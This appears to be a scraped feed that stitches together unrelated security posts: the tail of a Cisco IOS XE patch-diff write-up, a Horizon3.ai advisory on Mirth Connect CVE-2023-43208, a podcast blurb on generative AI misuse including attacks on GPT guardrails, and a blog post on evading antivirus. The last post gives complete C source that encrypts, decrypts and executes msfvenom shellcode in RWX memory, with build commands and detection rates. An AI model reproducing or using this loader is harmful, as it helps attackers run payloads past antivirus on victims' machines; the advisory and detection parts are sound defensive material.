      %WEBUI-6-INSTALL_OPERATION_INFO: User: username, Install Operation: ADD filename

Summary

Next steps would include reverse engineering the different HTTP endpoints in iosd in search of a way to hit the wsma service in an way that doesn’t require or bypasses authentication. Hopefully this information can help other researchers uncover and reproduce these vulnerabilities.
 

The post Cisco IOS XE CVE-2023-20198 and CVE-2023-20273: WebUI Internals, Patch Diffs, and Theory Crafting appeared first on Horizon3.ai.

Summary

Mirth Connect, by NextGen HealthCare, is an open source data integration platform widely used by healthcare companies. Versions prior to 4.4.1 are vulnerable to an unauthenticated remote code execution vulnerability, CVE-2023-43208. If you’re a user of Mirth Connect, you’ll want to upgrade to the latest patch release, 4.4.1, as of this writing.

Background

A few months ago, we came across an unauthenticated remote code execution vulnerability, CVE-2023-37679, affecting Mirth Connect that was reported by IHTeam. Mirth Connect is an interesting application for us at Horizon3.ai because a number of our clients are in the healthcare space and use this application. Healthcare companies are commonly targeted by ransomware threat actors, and this application has decent exposure on the Internet (about 1200+ unique hosts).

CVE-2023-37679 was reported to be fixed in Mirth Connect 4.4.0. In the release notes for 4.4.0, it was reported as only affecting Mirth Connect installs running on Java 8 or below. This caught our attention (why only Java 8?), and we started digging. We found that in fact, all installs of Mirth Connect, regardless of the Java version, were vulnerable. We also found that the patch for CVE-2023-37679 could be bypassed. We subsequently reported a new vulnerability to NextGen, tracked as CVE-2023-43208. The fix for CVE-2023-43208 is in 4.4.1.

Impact

This is an easily exploitable, unauthenticated remote code execution vulnerability. Attackers would most likely exploit this vulnerability for initial access or to compromise sensitive healthcare data.

We are not releasing an exploit at this time, but the methods for exploitation (involving Java XStream) are well known and documented. We have verified that Mirth Connect versions going as far back as 2015/2016 are vulnerable.

On Windows systems, where Mirth Connect appears to be most commonly deployed, it typically runs as the SYSTEM user. Here’s an example of exploiting this vulnerability to run the ping command on a Windows host:

Detection

The version of the Mirth Connect server can be determined as follows:

% curl -k -H 'X-Requested-With: OpenAPI' https://<server>:<port>/api/server/version
4.4.0

Any server reporting a version less than 4.4.1 is highly likely to be exploitable.

Remediation

We urge all users of Mirth Connect, especially instances that are Internet-facing, to prioritize updating to 4.4.1 ASAP.

Timeline

• Sept. 8, 2023: Horizon3.ai sends initial report to NextGen
• Sept. 8, 2023: NextGen acknowledges receipt
• Oct. 6, 2023: NextGen provides Horizon3.ai a test build for 4.4.1
• Oct. 13, 2023: Horizon3.ai completes testing/review of test build
• Oct. 17, 2023: NextGen releases 4.4.1
• Oct. 25, 2023: This post

We’d like to thank NextGen for the prompt handling of this vulnerability, and a hat tip to IHTeam for discovering the original issue.

References

• Mirth Connect on GitHub
• Mirth Connect 4.4.1 Release Notes
• CVE-2023-43208
• IHTeam Advisory for CVE-2023-37679
• CVE-2023-37679

The post NextGen Mirth Connect Remote Code Execution Vulnerability (CVE-2023-43208) appeared first on Horizon3.ai.

Oliver Tavakoli from VectraAI returns to the program to talk about – surprise! – AI! Having talked about Tavakoli's origin story on the past episode, we’re free to dig right into his main area of interest: the ways in which generative AI can be used by bad actors, whether introducing conflicting messages into GPT guardrail commands or escalating the nuance and complexity of fake-based social engineering attacks. We talk about long-term implications of this emerging tech opportunity, ways for new professionals to get comfortable with its requirements quickly, and Tavakoli lets us know what this “summer of AI” will mean for the coming years, and also why its endless innovation may cool for a few years, and that’s OK.

0:00 - Generative AI and bad actors
4:20 - Big changes for generative AI in 2020
7:11 - Example of an AI attack
15:30 - AI as a tool versus an intelligence
17:10 - Solutions with AI
22:47 - How AI will affect cybersecurity careers
32:18 - How does AI hurt your career?
38:40 - Job roles in cybersecurity that may become niche
40:40 - The year of AI?
43:25 - How to talk about AI
45:40 - What is VectraAI?
48:25 - Learn more about Tavakoli and VectraAI
49:30 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

﷽

Hello, cybersecurity enthusiasts and white hackers!

This post is the result of my own research on try to evasion AV engines via encrypting payload with another algorithm: WAKE. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

wake

The WAKE (Word Auto-Key Encryption) algorithm, created by David Wheeler in 1993, is a stream encryption method. It uses an automatic key schedule to encrypt and decrypt data. Operating in rounds, it generates an auto-key sequence to scramble data. Its simplicity makes it easy to implement, though not suitable for high-security applications due to known vulnerabilities. WAKE encryption offers historical significance as one of the early cryptographic algorithms for lightweight applications.

practical example

Here’s a step-by-step overview of implementing the WAKE encryption algorithm with 32 rounds:

Key Scheduling: - Start with a 32-bit encryption key. Initialize a schedule array to store round keys. The first key is the user-provided key, and the remaining keys are generated using a simple arithmetic operation and a multiplier.

void key_schedule(uint32_t key, uint32_t schedule[ROUNDS]) {
  schedule[0] = key;
  for (int i = 1; i < ROUNDS; i++) {
    schedule[i] = (schedule[i - 1] + 0x6DC597F) * 0x5851F42D;
  }
}

Data Preparation: - Divide the data into 32-bit blocks if the data length is not already a multiple of 4 bytes. Add padding to ensure the last block is 32 bits:

void add_padding(unsigned char **data, size_t *data_len) {
  size_t original_len = *data_len;
  size_t new_len = (*data_len + 3) & ~3; // Round up to the nearest 4 bytes
  if (new_len != original_len) {
    unsigned char *new_data = (unsigned char *)malloc(new_len);
    if (new_data == NULL) {
      // Handle memory allocation error
      return;
    }
    memset(new_data, 0, new_len);
    memcpy(new_data, *data, original_len);
    *data = new_data;
    *data_len = new_len;
  }
}

Encryption: - For each 32-bit block of data:

• For each of the 32 rounds:
• Add the current round key to the data block.
• Perform a bitwise rotation operation on the data (shifting left by 3 bits and rotating in the carry bit).
• Continue to the next round:

void wake_encrypt(uint32_t schedule[ROUNDS], uint32_t *data, size_t data_len) {
  for (size_t i = 0; i < data_len; i++) {
    for (int j = 0; j < ROUNDS; j++) {
      data[i] += schedule[j];
      data[i] = (data[i] << 3) | (data[i] >> 29);
    }
  }
}

Decryption: - To decrypt, you need the same key schedule. Reverse the encryption process by applying operations in reverse order.

void wake_decrypt(uint32_t schedule[ROUNDS], uint32_t *data, size_t data_len) {
  for (size_t i = 0; i < data_len; i++) {
    for (int j = ROUNDS - 1; j >= 0; j--) {
      data[i] = (data[i] >> 3) | (data[i] << 29);
      data[i] -= schedule[j];
    }
  }
}

Padding Removal: - After decryption, remove any added padding from the data:

// Remove padding from data
void remove_padding(unsigned char **data, size_t *data_len) {
  // find the last non-zero byte
  int i = *data_len - 1;
  while (i >= 0 && (*data)[i] == 0) {
    i--;
  }

  // Calculate the new length without padding
  size_t new_len = i + 1;
  if (new_len != *data_len) {
    // Create a new buffer without padding
    unsigned char *new_data = (unsigned char *)malloc(new_len);
    if (new_data == NULL) {
      // Handle memory allocation error
      return;
    }
    memcpy(new_data, *data, new_len);
    *data = new_data;
    *data_len = new_len;
  }
}

This implementation yields a simple yet effective encryption scheme. However, it’s important to note that the WAKE algorithm has known vulnerabilities and is not suitable for high-security applications.

So, full source code for encryption and decryption our meow-meow payload is looks like this:

/*
 * hack.c
 * WAKE encrypt/decrypt implementation
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/10/20/malware-cryptography-21.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROUNDS 64

// WAKE key schedule
void key_schedule(uint32_t key, uint32_t schedule[ROUNDS]) {
  schedule[0] = key;
  for (int i = 1; i < ROUNDS; i++) {
    schedule[i] = (schedule[i - 1] + 0x6DC597F) * 0x5851F42D;
  }
}

// WAKE encryption
void wake_encrypt(uint32_t schedule[ROUNDS], uint32_t *data, size_t data_len) {
  for (size_t i = 0; i < data_len; i++) {
    for (int j = 0; j < ROUNDS; j++) {
      data[i] += schedule[j];
      data[i] = (data[i] << 3) | (data[i] >> 29);
    }
  }
}

// WAKE decryption
void wake_decrypt(uint32_t schedule[ROUNDS], uint32_t *data, size_t data_len) {
  for (size_t i = 0; i < data_len; i++) {
    for (int j = ROUNDS - 1; j >= 0; j--) {
      data[i] = (data[i] >> 3) | (data[i] << 29);
      data[i] -= schedule[j];
    }
  }
}

// Add padding to data
void add_padding(unsigned char **data, size_t *data_len) {
  size_t original_len = *data_len;
  size_t new_len = (*data_len + 3) & ~3; // Round up to the nearest 4 bytes
  if (new_len != original_len) {
    unsigned char *new_data = (unsigned char *)malloc(new_len);
    if (new_data == NULL) {
      // Handle memory allocation error
      return;
    }
    memset(new_data, 0, new_len);
    memcpy(new_data, *data, original_len);
    *data = new_data;
    *data_len = new_len;
  }
}

// Remove padding from data
void remove_padding(unsigned char **data, size_t *data_len) {
  // find the last non-zero byte
  int i = *data_len - 1;
  while (i >= 0 && (*data)[i] == 0) {
    i--;
  }

  // Calculate the new length without padding
  size_t new_len = i + 1;
  if (new_len != *data_len) {
    // Create a new buffer without padding
    unsigned char *new_data = (unsigned char *)malloc(new_len);
    if (new_data == NULL) {
      // Handle memory allocation error
      return;
    }
    memcpy(new_data, *data, new_len);
    *data = new_data;
    *data_len = new_len;
  }
}

// Encrypt/decrypt data
void run_payload(unsigned char *data, size_t data_len, uint32_t key) {
  printf("original data:\n");
  for (size_t i = 0; i < data_len; i++) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  add_padding(&data, &data_len); // Add padding

  printf("padded data:\n");
  for (size_t i = 0; i < data_len; i++) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  size_t num_words = data_len / 4;
  uint32_t *data_words = (uint32_t *)data;

  uint32_t schedule[ROUNDS];
  key_schedule(key, schedule);

  // Encrypt the data
  wake_encrypt(schedule, data_words, num_words);

  printf("encrypted data:\n");
  for (size_t i = 0; i < num_words; i++) {
    // printf("%02X ", data_words[i]);
    for (int j = 0; j < 4; j++) {
      printf("%02x ", (data_words[i] >> (j * 8)) & 0xFF);
    }
    // printf(" "); // Add space between words
  }
  printf("\n\n");

  // Decrypt the data
  wake_decrypt(schedule, data_words, num_words);

  printf("decrypted data:\n");
  for (size_t i = 0; i < num_words; i++) {
    // printf("%08X ", data_words[i]);
    for (int j = 0; j < 4; j++) {
      printf("%02x ", (data_words[i] >> (j * 8)) & 0xFF);
    }
    // printf(" "); // Add space between words
  }
  printf("\n\n");

  remove_padding(&data, &data_len); // Remove padding

  printf("decrypted unpadded data:\n");
  for (size_t i = 0; i < data_len; i++) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, data_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, data, data_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
}

int main() {
  unsigned char data[] = {
    0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
    0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
    0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
    0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
    0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
    0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
    0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
    0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
    0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
    0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
    0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
    0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
    0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
    0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
    0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
    0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
    0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
    0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
    0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  };
  size_t data_len = sizeof(data);

  uint32_t key = 0x01234567; // 32-bit encryption key

  run_payload(data, data_len, key);

  return 0;
}

Of course, this will look suspicious for antivirus solutions, but I’ll still look at the result. Printing operations is just for checking correctness of implementation.

demo

Let’s go see it in action.

Compile it:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

And run it in the victim’s machine (windows 7 x64 in my case):

.\hack.exe

As you can see, payload (1) successfully decrypted. (2)

Also worked in windows 10 x64 v1903:

Upload our sample hack.exe to VirusTotal:

https://www.virustotal.com/gui/file/3a62d7b78fb812dc3d9823a248c204fcc810dcbaedd38797e83424596d028261/detection

As you can see, only 23 of 72 AV engines detect our file as malicious

Of course, this result is justified by the fact that the method of launching the shellcode is not new, also payload is generated by msfvenom.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

WAKE
AV evasion: part 1
AV evasion: part 2
Shannon entropy
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine